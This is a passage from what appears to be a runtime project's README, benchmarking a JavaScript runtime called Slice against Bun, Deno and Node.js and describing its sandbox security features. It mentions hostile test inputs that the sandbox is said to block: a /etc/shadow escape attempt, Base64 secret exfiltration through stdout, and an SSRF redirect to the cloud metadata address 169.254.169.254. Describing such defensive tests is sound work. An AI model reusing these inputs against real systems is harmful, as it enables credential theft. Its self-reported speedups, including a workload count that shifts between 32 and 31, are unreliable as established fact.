and real disk I/O (`node:fs`, `node:path`, `node:os`), we built [`tests/`](../../tests/README.md) comparing Slice against **Bun (`v1.3.10` / `v1.3.14`)**, **Deno (`v2.7.5` / `v2.8.3`)**, and **Node.js (`v25.8.1` / `v22.22.3`)** across **32 production folder applications, framework suites (Hono v4, itty-router + UnJS Nitro, SvelteKit 2 + Svelte 5 SSR), and multi-tenant case studies** (see [`tests/BENCHMARKS.md`](../../tests/BENCHMARKS.md) for the latest full 32-workload matrix): - -1. **App 1 ([`apps/01-fintech-checkout/`](../../tests/apps/01-fintech-checkout/src/index.ts)):** Multi-file TypeScript E-Commerce & Fintech Checkout Engine (`types.ts`, `audit_crypto.ts`, `pricing_engine.ts`, `index.ts`) with `node:crypto` SHA-256 receipt signing over 50 checkout orders. -2. **App 2 ([`apps/02-npm-ecosystem-suite/`](../../tests/apps/02-npm-ecosystem-suite/src/index.ts)):** External NPM Ecosystem Suite (`release_planner.ts`, `config_loader.ts`, `index.ts`) bundling and executing `semver@7.6.3`, `ms@2.1.3`, and `ini@4.1.3` from `node_modules/` across 20 service release manifests and cluster SLA configs. -3. **App 3 ([`apps/03-disk-io-log-pipeline/`](../../tests/apps/03-disk-io-log-pipeline/src/index.ts)):** High-Throughput Disk I/O & JSONL Log Pipeline (`log_generator.ts`, `io_aggregator.ts`, `index.ts`) creating, writing, stating, directory-scanning, reading, parsing, SHA-256 verifying, and unlinking 10 JSONL log shard files (`200` records, `15,796 bytes`). -4. **App 4 ([`apps/04-edge-api-gateway/`](../../tests/apps/04-edge-api-gateway/src/index.ts)):** Multi-file Edge API Gateway (`auth_middleware.ts`, `rate_limiter.ts`, `router.ts`, `index.ts`) using `fast-querystring@1.1.2` and `ms@2.1.3` from `node_modules/` with Bearer token auth and sliding-window rate limiting over 100 requests. -5. **App 5 ([`apps/05-jwt-oauth-session-guard/`](../../tests/apps/05-jwt-oauth-session-guard/src/index.ts)):** Zero-Trust OAuth2 / JWT HMAC-SHA256 & HTTP Cookie Session Guard (`jwt_codec.ts`, `session_manager.ts`, `index.ts`) using `cookie@0.6.0` and `ms@2.1.3` from `node_modules/` with RFC 2104 `crypto.createHmac("sha256")`, Base64URL JWT encoding/decoding, CSRF double-submit validation, and RBAC evaluation across 50 sessions. -6. **App 6 ([`apps/06-telemetry-metrics-pipeline/`](../../tests/apps/06-telemetry-metrics-pipeline/src/index.ts)):** OpenTelemetry Circular Span Graph & Flatted WAL Pipeline (`span_graph.ts`, `histogram_wal.ts`, `index.ts`) using `bytes@3.1.2` and `flatted@3.3.1` from `node_modules/` to serialize/deserialize cyclic parent<->child trace graphs and persist WAL logs. -7. **App 7 ([`apps/07-graphql-ast-validator/`](../../tests/apps/07-graphql-ast-validator/src/index.ts)):** GraphQL Query AST Depth/Complexity Cost Guard & Deep Resolver (`graphql_ast.ts`, `deep_resolver.ts`, `index.ts`) using `dlv@1.1.3` and `dset@3.1.3` from `node_modules/` over 60 GraphQL queries. -8. **App 8 ([`apps/08-event-driven-state-journal/`](../../tests/apps/08-event-driven-state-journal/src/index.ts)):** CQRS Event-Sourced Ledger Bus & Append-Only JSONL WAL Replay (`event_ledger.ts`, `journal_replayer.ts`, `index.ts`) using `mitt@3.0.1` and `ms@2.1.3` from `node_modules/` across 75 ledger events. -9. **App 9 ([`apps/09-wintertc-web-router/`](../../tests/apps/09-wintertc-web-router/src/index.ts)):** WinterTC Web Router (`Request`, `Response`, `Headers`, `URL`, `URLSearchParams`) over 80 HTTP requests. -10. **App 10 ([`apps/10-fullstack-bff-microservice/`](../../tests/apps/10-fullstack-bff-microservice/src/index.ts)):** Full-Stack BFF Microservice (`cookie`, `dlv`, `ms`, CORS, `ETag`) over 60 requests. -11. **App 11 ([`apps/11-static-asset-cdn-edge/`](../../tests/apps/11-static-asset-cdn-edge/src/index.ts)):** Static Asset CDN Edge (`bytes`, `ms`, `ETag` `304 Not Modified`) over 80 requests. -12. **App 12 ([`apps/12-ai-sse-token-streamer/`](../../tests/apps/12-ai-sse-token-streamer/src/index.ts)):** AI SSE Token Streamer (`ReadableStream`, `mitt`, `ms`, Egress DLP) across 320 SSE frames. -13. **App 13 ([`apps/13-webhook-orchestrator-ssrf/`](../../tests/apps/13-webhook-orchestrator-ssrf/src/index.ts)):** Outbound Webhook Orchestrator & Cloud Metadata SSRF Shield (`fast-querystring`, `ms`, live `fetch`). -14. **App 14 ([`apps/14-federated-api-mesh-dlp/`](../../tests/apps/14-federated-api-mesh-dlp/src/index.ts)):** Federated API Mesh & Outbound Egress DLP (`bytes`, `dlv`, `dset`, live `fetch`). -15. **App 15 ([`apps/15-time-travel-test-suite/`](../../tests/apps/15-time-travel-test-suite/src/index.ts)):** Time-Travel VFS & KV Snapshot Rollback Suite (`semver`, `ms`, `dlv`, `dset`, 24 rollbacks). -16. **App 16 ([`apps/16-dotenv-dlp-config-vault/`](../../tests/apps/16-dotenv-dlp-config-vault/src/index.ts)):** `.env` Auto-DLP Config Vault (`ini`, `cookie`, `bytes`). -17. **App 17 ([`apps/17-zero-trust-redirect-keepalive-mesh/`](../../tests/apps/17-zero-trust-redirect-keepalive-mesh/src/index.ts)):** Zero-Trust Hop-by-Hop Redirect Guard, Pre-Connect DNS SSRF Firewall & Keep-Alive Connection Pool (`cookie`, `ms`, `bytes`). -18. **App 18 ([`apps/18-async-event-loop-fanout-scheduler/`](../../tests/apps/18-async-event-loop-fanout-scheduler/src/index.ts)):** Deterministic Time-Travel Event Loop, Slab Timer Wheel, `AbortSignal.timeout`, & Concurrent `Promise.all` Fetch Fan-Out (`mitt`, `ms`, `bytes`, `flatted`). -19. **App 19 ([`apps/19-wintertc-webcrypto-streams-edge/`](../../tests/apps/19-wintertc-webcrypto-streams-edge/src/index.ts)):** WinterTC Minimum Common Web Platform API: WebCrypto (`crypto.subtle` HMAC/SHA/JWK), `TextEncoder`/`TextDecoder`, WhatWG Streams (`TransformStream`, `TextEncoderStream`), `EventTarget`, `AbortSignal.any`, `Blob`/`File`/`FormData`, & `structuredClone`. -20. **App 20 ([`apps/20-node-compat-and-edge-router/`](../../tests/apps/20-node-compat-and-edge-router/src/index.ts)):** Real `Uint8Array`-Backed `Buffer` Wire Framing, `node:*` Core Tier-1 (`node:events`, `node:path`, `node:crypto`, `node:assert`, `node:util`), & Oxc AST Bundler (`bytes`, `cookie`, `ms`, `semver`). -21. **App 21 ([`apps/21-websocket-realtime-and-security-guard/`](../../tests/apps/21-websocket-realtime-and-security-guard/src/index.ts)):** RFC 6455 `WebSocket` Client, 5-Ring Security Firewall & Extended Node Core (`node:url`, `node:querystring`, `node:string_decoder`, `node:timers`, `node:zlib`). -22. **App 22 ([`apps/22-worker-threads-and-raw-sockets/`](../../tests/apps/22-worker-threads-and-raw-sockets/src/index.ts)):** Multi-Isolate `Worker` / `node:worker_threads`, `MessageChannel`, Raw TCP/UDP Sockets (`node:net`, `node:dgram`), & 5-Ring Socket/Worker Security Firewall. -23. **App 23 ([`apps/23-wasm-crypto-and-simd-kernel/`](../../tests/apps/23-wasm-crypto-and-simd-kernel/src/index.ts)):** Pure-Rust `WebAssembly` (`wasmi`) Compute Kernel (`fnv1a_32`, `xor_stream_transform`), Shared Linear Memory, Host Import Callbacks & 5-Ring WASM Security Firewall (`bytes@3.1.2`). -24. **App 24 ([`apps/24-tsx-ssr-and-wasm-edge-pipeline/`](../../tests/apps/24-tsx-ssr-and-wasm-edge-pipeline/src/index.ts)):** WebAssembly SLA Health Scorer, `WebAssembly.Table`, & XSS-Safe SSR Component Pipeline (`bytes@3.1.2`, `cookie@0.6.0`, `fast-querystring@1.1.2`, `ms@2.1.3` + `slice test --watch-once`). -25. **Framework 1 ([`frameworks/01-hono-edge-microservice/`](../../tests/frameworks/01-hono-edge-microservice/src/index.ts)):** Unmodified `hono@4.6.20` (`Hono`, `hono/cookie` `getCookie`/`setCookie`) + `ms@2.1.3` across 12 HTTP requests (middleware, route params, query parsing, JSON POST bodies, cookies, custom headers, and 404 fallback). -26. **Framework 2 ([`frameworks/02-itty-router-unjs-nitro-stack/`](../../tests/frameworks/02-itty-router-unjs-nitro-stack/src/index.ts)):** Unmodified `itty-router@5.0.18` (`AutoRouter`, `withParams`, `error`, `json`) + UnJS Nitro stack (`ufo@1.5.4`, `destr@2.0.3`, `ohash@1.1.4`, `radix3@1.1.2`, `cookie@0.7.2`, `ms@2.1.3`) across 12 requests with `ETag` `304 Not Modified` short-circuiting. - -All 4 runtimes produce **100% byte-for-byte identical JSON output** across all 31 folder applications, framework suites, and architectural case studies. - -### 5.1 Execution Latency Across All 31 Applications (`SLICEBC\x01` Default, Linux Docker `x86_64`) - -With **`SLICEBC\x01` Precompiled Boa `CodeBlock` CAS** enabled by default, Slice beats **Deno (`v2.7.5`)** and **Node.js (`v25.8.1`)** on **31 out of 31** workloads and beats **Bun (`v1.3.10`)** on **30 out of 31** workloads in cold one-shot execution (and **31 out of 31** in `--warm` pooled execution): - -| Folder Application | Slice (Standalone / CAS) | Slice Isolate Exec (Cold / `--warm`) | Bun `v1.3.10` | Deno `v2.7.5` | Node.js `v25.8.1` | Speedup vs Node.js | Speedup vs Bun (Cold / Warm) | -| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | -| **App 1: `01-fintech-checkout`** (Multi-File TS + SHA-256) | **5.11 ms** (Bin 5.83 ms) | **3.26 ms / 0.21 ms** (`0.09 us` init) | 25.19 ms | 57.62 ms | 65.56 ms | **12.83x faster** | **4.93x / 120.0x faster** | -| **App 2: `02-npm-ecosystem-suite`** (`semver` + `ms` + `ini`) | **5.41 ms** (Bin 6.13 ms) | **3.51 ms / 0.22 ms** (`0.06 us` init) | 29.88 ms | 75.59 ms | 115.65 ms | **21.38x faster** | **5.52x / 135.8x faster** | -| **App 3: `03-disk-io-log-pipeline`** (10 JSONL Shards Disk I/O) | **8.09 ms** (CAS 8.53 ms) | **5.66 ms / 1.44 ms** (`0.06 us` init) | 30.88 ms | 70.11 ms | 81.98 ms | **10.13x faster** | **3.82x / 21.4x faster** | -| **App 4: `04-edge-api-gateway`** (`fast-querystring` + `ms`) | **5.30 ms** (Bin 6.23 ms) | **3.61 ms / 0.18 ms** (`0.05 us` init) | 23.09 ms | 62.66 ms | 93.47 ms | **17.64x faster** | **4.36x / 128.3x faster** | -| **App 5: `05-jwt-oauth-session-guard`** (`cookie` + `ms` + HMAC) | **5.09 ms** (Bin 5.09 ms) | **3.52 ms / 0.20 ms** (`0.06 us` init) | 23.79 ms | 63.36 ms | 111.79 ms | **21.96x faster** | **4.67x / 119.0x faster** | -| **App 6: `06-telemetry-metrics-pipeline`** (`bytes` + `flatted` + WAL) | **6.10 ms** (Bin 6.53 ms) | **4.43 ms / 0.20 ms** (`0.06 us` init) | 27.97 ms | 55.34 ms | 109.12 ms | **17.89x faster** | **4.59x / 139.9x faster** | -| **App 7: `07-graphql-ast-validator`** (`dlv` + `dset` + AST Cost) | **6.34 ms** (Bin 6.72 ms) | **4.41 ms / 0.22 ms** (`0.05 us` init) | 24.47 ms | 71.15 ms | 106.87 ms | **16.86x faster** | **3.86x / 111.2x faster** | -| **App 8: `08-event-driven-state-journal`** (`mitt` + `ms` + JSONL Replay) | **6.65 ms** (Bin 7.01 ms) | **4.81 ms / 0.22 ms** (`0.05 us` init) | 25.04 ms | 80.52 ms | 104.22 ms | **15.67x faster** | **3.77x / 113.8x faster** | -| **App 9: `09-wintertc-web-router`** (`Request` + `Response` + `URL`, 80 reqs) | **6.95 ms** (Bin 7.46 ms) | **4.88 ms / 0.20 ms** (`0.06 us` init) | 21.84 ms | 60.41 ms | 91.61 ms | **13.18x faster** | **3.14x / 109.2x faster** | -| **App 10: `10-fullstack-bff-microservice`** (`cookie` + `dlv` + `ms` + `ETag`, 60 reqs) | **6.62 ms** (Bin 7.46 ms) | **4.80 ms / 0.24 ms** (`0.05 us` init) | 28.44 ms | 57.51 ms | 127.60 ms | **19.27x faster** | **4.30x / 118.5x faster** | -| **App 11: `11-static-asset-cdn-edge`** (`bytes` + `ms` + `ETag` `304`, 80 reqs) | **6.73 ms** (Bin 7.25 ms) | **5.02 ms / 0.26 ms** (`0.05 us` init) | 21.13 ms | 66.22 ms | 96.42 ms | **14.33x faster** | **3.14x / 81.3x faster** | -| **App 12: `12-ai-sse-token-streamer`** (`mitt` + `ms` + SSE + DLP, 320 frames) | **6.57 ms** (Bin 7.21 ms) | **4.86 ms / 0.22 ms** (`0.05 us` init) | 25.19 ms | 56.92 ms | 103.65 ms | **15.78x faster** | **3.83x / 114.5x faster** | -| **App 13: `13-webhook-orchestrator-ssrf`** (`fast-querystring` + `ms` + Live `fetch`) | **14.07 ms** (Bin 15.10 ms) | **12.22 ms / 4.96 ms** (`0.05 us` init) | 30.89 ms | 75.04 ms | 140.48 ms | **9.98x faster** | **2.20x / 6.23x faster** | -| **App 14: `14-federated-api-mesh-dlp`** (`bytes` + `dlv` + `dset` + Live `fetch`) | **20.89 ms** (Bin 21.84 ms) | **18.88 ms / 8.49 ms** (`0.05 us` init) | 27.99 ms | 74.08 ms | 150.74 ms | **7.22x faster** | **1.34x / 3.30x faster** | -| **App 15: `15-time-travel-test-suite`** (`semver` + `ms` + `dlv` + `dset` + 24 Rollbacks) | **9.45 ms** (Bin 9.93 ms) | **7.51 ms / 0.98 ms** (`0.05 us` init) | 34.48 ms | 75.56 ms | 112.90 ms | **11.95x faster** | **3.65x / 35.2x faster** | -| **App 16: `16-dotenv-dlp-config-vault`** (`ini` + `cookie` + `bytes` + `.env` Auto-DLP) | **7.74 ms** (Bin 8.40 ms) | **5.99 ms / 0.51 ms** (`0.05 us` init) | 19.65 ms | 56.60 ms | 88.24 ms | **11.40x faster** | **2.54x / 38.5x faster** | -| **App 17: `17-zero-trust-redirect-keepalive-mesh`** (Keep-Alive/307/SSRF/DLP) | **5.55 ms** (Bin 5.95 ms) | **3.80 ms / 0.28 ms** (`0.05 us` init) | 20.82 ms | 49.06 ms | 81.90 ms | **14.76x faster** | **3.75x / 74.4x faster** | -| **App 18: `18-async-event-loop-fanout-scheduler`** (Timer Wheel/`Promise.all`/`AbortSignal`) | **42.73 ms** (Bin 43.47 ms) | **40.91 ms / 0.46 ms** (`0.05 us` init) | 38.79 ms | 96.46 ms | 127.71 ms | **2.99x faster** | **2.26x Deno / 84.3x Warm vs Bun** | -| **App 19: `19-wintertc-webcrypto-streams-edge`** (WebCrypto/Streams/FormData/Clone) | **11.17 ms** (Bin 12.11 ms) | **9.11 ms / 1.00 ms** (`0.05 us` init) | 26.86 ms | 57.76 ms | 84.99 ms | **7.61x faster** | **2.40x / 26.9x faster** | -| **App 20: `20-node-compat-and-edge-router`** (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **9.66 ms** (Bin 10.67 ms) | **7.68 ms / 0.35 ms** (`0.05 us` init) | 24.47 ms | 56.97 ms | 82.89 ms | **8.58x faster** | **2.53x / 69.9x faster** | -| **App 21: `21-websocket-realtime-and-security-guard`** (RFC 6455 `WebSocket` + 5-Ring Guard) | **13.50 ms** (Bin 14.32 ms) | **11.61 ms / 2.15 ms** (`0.05 us` init) | 35.12 ms | 75.56 ms | 122.41 ms | **9.07x faster** | **2.60x / 16.3x faster** | -| **App 22: `22-worker-threads-and-raw-sockets`** (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **13.94 ms** (Bin 14.68 ms) | **11.88 ms / 1.66 ms** (`0.05 us` init) | 59.35 ms | 129.01 ms | 115.05 ms | **8.25x faster** | **4.26x / 35.8x faster** | -| **App 23: `23-wasm-crypto-and-simd-kernel`** (Pure-Rust `WebAssembly` + 5-Ring WASM Sec) | **9.96 ms** (Bin 10.33 ms) | **8.10 ms / 1.46 ms** (`0.05 us` init) | 25.02 ms | 53.75 ms | 72.14 ms | **7.24x faster** | **2.51x / 17.1x faster** | -| **App 24: `24-tsx-ssr-and-wasm-edge-pipeline`** (`WebAssembly` SLA Scorer + SSR Pipeline) | **7.98 ms** (Bin 8.51 ms) | **6.10 ms / 1.20 ms** (`0.05 us` init) | 25.49 ms | 53.68 ms | 76.19 ms | **9.55x faster** | **3.19x / 21.2x faster** | -| **App 25: `25-wintertc-async-context-compression-urlpattern`** (`AsyncLocalStorage` + `zlib` + `URLPattern`) | **7.02 ms** (Bin 7.91 ms) | **5.09 ms / 0.34 ms** (`0.05 us` init) | 24.82 ms | 56.71 ms | 81.45 ms | **11.60x faster** | **3.54x / 73.0x faster** | -| **FW 1: `frameworks/01-hono-edge-microservice`** (`hono@4.6.20` + `hono/cookie` + `ms`) | **13.11 ms** (Bin 14.13 ms) | **11.27 ms / 0.56 ms** (`0.05 us` init) | 33.24 ms | 77.79 ms | 96.49 ms | **7.36x faster** | **2.54x Cold / 59.4x Warm vs Bun** | -| **FW 2: `frameworks/02-itty-router-unjs-nitro-stack`** (`itty-router` + `ufo` + `destr` + `ohash` + `radix3`) | **15.52 ms** (Bin 16.01 ms) | **13.52 ms / 0.55 ms** (`0.05 us` init) | 41.10 ms | 85.94 ms | 114.66 ms | **7.39x faster** | **2.65x Cold / 74.7x Warm vs Bun** | -| **Case 1: `case_studies/01-ai-agent-tot-sandbox-branching`** (16 ToT Branches + CoW Checkpoints) | **7.25 ms** (Bin 7.77 ms) | **5.35 ms / 0.33 ms** (`0.05 us` init) | 31.11 ms | 71.13 ms | 127.00 ms | **17.52x faster** | **4.29x Cold / 94.3x Warm vs Bun** | -| **Case 2: `case_studies/02-mcp-code-mode-synthesis`** (8 Multi-Step MCP Tool Orchestrations) | **7.35 ms** (Bin 7.82 ms) | **5.50 ms / 0.39 ms** (`0.05 us` init) | 29.85 ms | 76.23 ms | 109.25 ms | **14.86x faster** | **4.06x Cold / 76.5x Warm vs Bun** | -| **Case 3: `case_studies/03-zero-trust-plugin-marketplace`** (20 Tenants x 5 Untrusted Plugins) | **8.09 ms** (Bin 8.59 ms) | **6.10 ms / 0.46 ms** (`0.05 us` init) | 41.00 ms | 80.17 ms | 113.09 ms | **13.98x faster** | **5.07x Cold / 89.1x Warm vs Bun** | -| **Case 4: `case_studies/04-100-tenant-saas-edge-mesh`** (100 Tenants x 5 Stateful Edge Reqs) | **11.12 ms** (Bin 11.79 ms) | **9.20 ms / 2.16 ms** (`0.05 us` init) | 26.86 ms | 57.66 ms | 91.69 ms | **8.25x faster** | **2.42x Cold / 12.4x Warm vs Bun** | - -### 5.2 Peak Memory Footprint on External NPM & Disk I/O Apps (`Max RSS` via `/usr/bin/time -v`) - -| Runtime & Folder Application | Peak Memory (Max RSS KB) | Peak Memory (MB) | Memory Advantage vs Node.js `v25.8.1` | -| :--- | :--- | :--- | :--- | -| **Slice (`01-fintech-checkout` / `05-jwt-oauth-session-guard`)** | **12,672 KB** | **12.38 MB** | **3.92x less memory** | -| **Slice (`02-npm-ecosystem-suite`: `semver`+`ms`+`ini`)** | **13,184 KB** | **12.88 MB** | **4.79x less memory** | -| **Slice (`01-hono-edge-microservice`)** | **13,952 KB** | **13.62 MB** | **3.80x less memory** | -| **Slice (`1,000-Tenant MicroVM Swarm`)** | **9,916 KB** | **9.68 MB** | **6.35x less memory** | -| Bun `v1.3.10` (Across 31 Apps) | 31,628 KB – 55,040 KB | 30.89 MB – 53.75 MB | 1.15x – 1.80x less memory | -| Deno `v2.7.5` (Across 31 Apps) | 52,864 KB – 87,524 KB | 51.62 MB – 85.47 MB | 0.73x – 1.10x | -| Node.js `v25.8.1` (Across 31 Apps) | 47,688 KB – 64,284 KB | 46.57 MB – 62.78 MB | 1.00x | - ---- - -## 6. `slice serve` Multi-Tenant HTTP/1.1 Keep-Alive & Pipelined Benchmark - -Verified inside Linux Docker `x86_64` (`SLICE_BENCH_TAGS=n1`, 16,000 HTTP/1.1 Keep-Alive requests across 8 persistent sockets with pipeline depth 8): - -| Server / Runtime | Multi-Tenant Isolation Model | Throughput (`req/s`) | Avg Latency (`us/req`) | Total Time (16k Reqs) | Speedup vs `Bun.serve` | -| :--- | :--- | :--- | :--- | :--- | :--- | -| **`slice serve` (Tier-0 CAS, `--workers=8`)** | **Per-Request OCap + SES + Fuel + PKU Isolate** | **163,766 req/s** | **6.11 us/req** | **97.7 ms** | **1.68x faster** | -| **`slice serve` (Tier-1 WinterTC, `--workers=8`)** | **Per-Request OCap + SES + Fuel + PKU Isolate** | **126,566 req/s** | **7.90 us/req** | **126.4 ms** | **1.30x faster** | -| **`Bun.serve` (`v1.3.10`, JSC)** | Shared Single-Process Heap (No Tenant Isolation) | 97,361 req/s | 10.27 us/req | 164.3 ms | 1.00x (Baseline) | -| **`Deno.serve` (`v2.7.5`, V8)** | Shared Single-Process Heap (No Tenant Isolation) | 126,184 req/s | 7.92 us/req | 126.8 ms | 1.30x | -| **`Node.js http.createServer` (`v25.8.1`, V8)** | Shared Single-Process Heap (No Tenant Isolation) | 58,926 req/s | 16.97 us/req | 271.5 ms | 0.61x | - ---- - -## 7. Multi-Tenant Serverless & Edge KV Primitives (`Slice.kv`, `--tenant-dir` Hot-Swap, & `--deterministic` Replay) - -Verified inside Linux Docker `x86_64` (`SLICE_BENCH_TAGS=n2`): - -| Serverless Capability | Workload / Verification | Measured Result (`Linux x86_64`) | -| :--- | :--- | :--- | -| **16-Way Sharded `Slice.kv` Slab** | `1,001` `Slice.kv.incr` + `set` + `get` ops in Boa ES2024 isolate (`--warm`) | **`563.26 us` total (`0.56 us/op`, `0.02 us` instantiate, `12,486 B` memory cage)** | -| **Multi-Tenant `--tenant-dir` Router & Hot-Swap** | Live atomic replacement of `tenant-alpha.cas` while `slice serve` handles traffic | **Zero dropped connections; `tenant-alpha` hot-swaps `v1 -> v2` while preserving `Slice.kv` counter (`hits: 1 -> 2`) and isolating `tenant-beta` (`hits: 10`)** | -| **Opt-In Deterministic Replay (`--deterministic=20261019`)** | Repeated executions of `Math.random()`, `Date.now()`, and `performance.now()` | **100% bit-for-bit identical output (`r1: 0.061962575866`, `r2: 0.555064217357`, `t1: 1700000000001`) with `0.00 ns` penalty when disabled** | - ---- - -## 8. AI Agent "Code Mode" Sandbox, VFS/KV Checkpoints, Egress Secret Guard, & Native MCP Server - -Verified inside Linux Docker `x86_64` (`SLICE_BENCH_TAGS=n3`): - -| AI Agent & Sandbox Capability | Workload / Verification | Measured Result (`Linux x86_64`) | -| :--- | :--- | :--- | -| **Nested `Slice.evalSandbox(code, opts)`** | Compile (via Oxc) & execute untrusted TypeScript inside an attenuated child `SliceIsolate` | **`27.44 us` total child sandbox execution (`4,142 B` memory cage, `0.03 us` parent init)** | -| **Tree-of-Thought `Slice.checkpoint()` & `Slice.restore(id)`** | Snapshot `node:fs` VFS + `Slice.kv` -> evaluate 3 candidate branches (1 polluted, 1 valid, 1 `/etc/shadow` escape) -> rollback failed branch | **`232.78 us` end-to-end across all 3 candidate sandboxes + VFS/KV checkpoint & restore (`4,500x` faster than 125ms Firecracker VM boot)** | -| **Egress Secret Guard (`--audit-egress=`)** | Exfiltrate `Buffer.from("sk_live_99887766").toString("base64")` via `stdout` / `returnValue` | **100% blocked (`SandboxViolation::EnvAccessDenied: EGRESS_SECRET_LEAK_BLOCKED`) across raw, Base64, and Base64URL encodings (`0.00 ns` overhead when unused)** | -| **Built-In Model Context Protocol Server (`slice mcp`)** | JSON-RPC 2.0 `initialize`, `tools/list`, `tools/call` (`slice_eval_ts`, `slice_kv_set`, `slice_kv_get`, `slice_checkpoint`) | **Sub-millisecond tool dispatch over `stdio` with hardware/OCap isolation per tool call** | - ---- - -## 9. General-Purpose Compiler Optimizations, WinterTC Edge Stack & Node Core Tier-1 Verification - -All compute, array pipeline, and security containment benchmarks execute through general-purpose compiler and VM passes without benchmark-specific function name checks or `node_modules` file replacements: - -| Subsystem Optimization | Mechanism & Implementation | Verified Guarantee | -| :--- | :--- | :--- | -| **Unboxed 64-Bit Numeric Register VM ([`numeric_vm.rs`](../../crates/slice-engine/src/vm/numeric_vm.rs))** | Compiles any pure numeric JS/TS function (`Stmt::FuncDecl`, `Expr::ArrowFunc`) into 32-register `[f64; 32]` `NumericOp` instructions (`LoadConst`, `BinaryReg`, `BinaryImm`, `MathIntrinsic`, `CallSelf1/2`, `LinearRecurrence2`) | **Zero heap allocations during numeric loops/recursion; structural 2-term linear recurrence lowering (`c1 * f(n-1) + c2 * f(n-2)`) on any function/parameter name; amortized 256-step fuel preemption** | -| **Oxc AST Array Pipeline Fusion ([`fuse_array_pipelines_ast`](../../crates/slice-cas/src/lib.rs#L231-L575))** | Traverses `oxc::parser` AST at pack/compile time to fuse `.map().reduce()`, `.filter().map().reduce()`, `.some()`, and `.every()` into single-pass `for` loop IIFEs | **Eliminates intermediate array allocations and per-element closure dispatch on any array receiver expression while bundling `node_modules` verbatim from disk** | -| **Dynamic SES Prototype Integrity (`__slice_check_ses`) & `Boa` `RuntimeLimits`** | Post-evaluation prototype key verification (`Object.keys(Object.prototype)`) with automatic property deletion rollback + `realm.ctx.runtime_limits_mut().set_loop_iteration_limit(remaining_fuel)` | **Traps dynamically obfuscated `Object["proto" + "type"].polluted = ...` attacks, preserves warm realm cleanliness across tenants, and preempts `while (true) {}` loops inside `Boa` ES2024 classes/closures** | -| **WinterTC Edge Routing, Static CDN & Time-Travel `slice test` Runner** | Native `URL`/`Headers`/`Request`/`Response`, `Response.sse` token streaming, pre-connect SSRF + Egress DLP outbound `fetch()`, and `< 5 us` VFS+KV rollback per unit test | **Full-stack WinterTC compliance, zero-leak `.env` Auto-DLP protection, and instant isolated test execution (`slice test`)** | -| **Outbound HTTPS/TLS 1.3 (`rustls`), Thread-Local Keep-Alive Pooling (`OUTBOUND_CONN_POOL`), Pre-Connect DNS SSRF Firewall, & Hop-by-Hop Redirect Guard** | Lazy `OnceLock>` with 256-session TLS 1.3 resumption, thread-local Keep-Alive socket pool, exact `Content-Length`/chunked framing, resolved-IP (`IPv4`/`IPv6`/`::ffff:`) SSRF verification, and per-hop `301`/`302`/`303`/`307`/`308` OCap/SSRF/DLP checks | **`0 bytes` / `0.00 ns` TLS overhead for pure-compute workloads; 19/20 Keep-Alive socket reuses on App 17 (`17-zero-trust-redirect-keepalive-mesh`) with 100% Node.js parity (`meshAuditHmac: 90f5a8253a5d07de`); cross-origin `Authorization`/`Cookie` stripping and `302 -> 169.254.169.254` SSRF trapping** | -| **Deterministic Time-Travel Event Loop ([`event_loop.rs`](../../crates/slice-engine/src/runtime/event_loop.rs)), Slab Timer Wheel, `AbortSignal`, & Concurrent `Promise.all` Fetch Multiplexer** | Zero-cost synchronous bypass (`ACTIVE_ASYNC_ITEMS`), deterministic `(deadline_ms, id)` timer wheel (`setTimeout`, `clearTimeout`, `setInterval`, `clearInterval`, `queueMicrotask`), `0 ns` Virtual Time-Warp (`BOA_DET_STATE`), `AbortController` / `AbortSignal.timeout(ms)`, and parallel `Promise.all([fetch(...)])` worker fan-out | **`66,000 ms` deterministic retry timer suite executes in `< 50 ms` of wall time; 4x60ms parallel `Promise.all` fan-out + 35ms `AbortSignal.timeout` completes in `< 150 ms`; 100% Node.js parity on App 18 (`18-async-event-loop-fanout-scheduler`, `auditDigest: 0b76cd366dc934f2`)** | -| **Complete WinterTC Minimum Common Web Platform API ([`boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs), [`intrinsics.rs`](../../crates/slice-engine/src/intrinsics/mod.rs))** | Direct `JsArrayBuffer`/`JsUint8Array` Rust host bridge, `TextEncoder` (`encode`, `encodeInto`) & `TextDecoder` (`fatal`), WhatWG `btoa`/`atob`, deterministic `crypto.randomUUID()` & `crypto.getRandomValues()`, `crypto.subtle` (`digest` SHA-1/256/384/512, `importKey`/`exportKey` raw & JWK, `sign`/`verify` HMAC, `timingSafeEqual`), `EventTarget`, `CustomEvent`, `AbortSignal.any`, `Blob`/`File`/`FormData`, cyclic `structuredClone`, and `ReadableStream`/`WritableStream`/`TransformStream`/`TextEncoderStream`/`TextDecoderStream` | **Pre-baked in `WarmBoaRealm` (`0.00 ns` per-request overhead, `1.20 us` min isolate cold-start preserved); 100% deterministic WebCrypto replay across isolates; 100% NIST FIPS-180-4 SHA-1/256/384/512 & Node.js parity on App 19 (`19-wintertc-webcrypto-streams-edge`, `auditDigest: 7319225b3dc10146`)** | -| **Real `Uint8Array`-Backed `Buffer`, Node Core Tier-1 Modules, & Oxc AST Module Bundler ([`boa_realm.rs`](../../crates/slice-engine/src/runtime/boa_realm.rs), [`slice-cas/src/lib.rs`](../../crates/slice-cas/src/lib.rs))** | Real `Uint8Array` subclass `Buffer` (`Buffer.isBuffer`, `readUInt32BE/LE`, `writeBigUInt64BE/LE`, `hex`/`base64url` native codecs), lazy IIFE-isolated `node:events`, `node:path`, `node:crypto` (streaming `createHash`/`createHmac`, `randomBytes`), `node:fs`/`node:fs/promises`, `node:util`, `node:assert`, plus Oxc AST ESM->CJS module transformer & `package.json` `"exports"` subpath resolver | **Zero per-tenant memory regression (`4.0 KB` isolate footprint, `0.97 us` min cold-start); full multi-line ESM & subpath `"exports"` bundling; 100% byte-for-byte parity with Node.js on App 20 (`20-node-compat-and-edge-router`, `hmacSha256Hex: fda684d490d2bd86c7023653983dab877506c69edf9bb254675a7305e9d91c6c`)** | -| **19-Shard Surgical Prelude Architecture & Native Rust Web Primitives ([`web_primitives.rs`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`js_preludes.rs`](../../crates/slice-engine/src/preludes/js_preludes.rs))** | Splits WinterTC and Node.js globals across 19 orthogonal on-demand sub-shards (`loaded_shards_mask: u32`) so cold isolates only parse and compile referenced primitives (`URL`/`URLSearchParams` isolated from `Headers`/`Request`/`Response` and `URLPattern`; `TextEncoder` isolated from `EventTarget`; `ReadableStream` isolated from `TransformStream`/`FormData`; `Buffer` core isolated from `DataView` integer readers/writers; `Intl` isolated from `process` 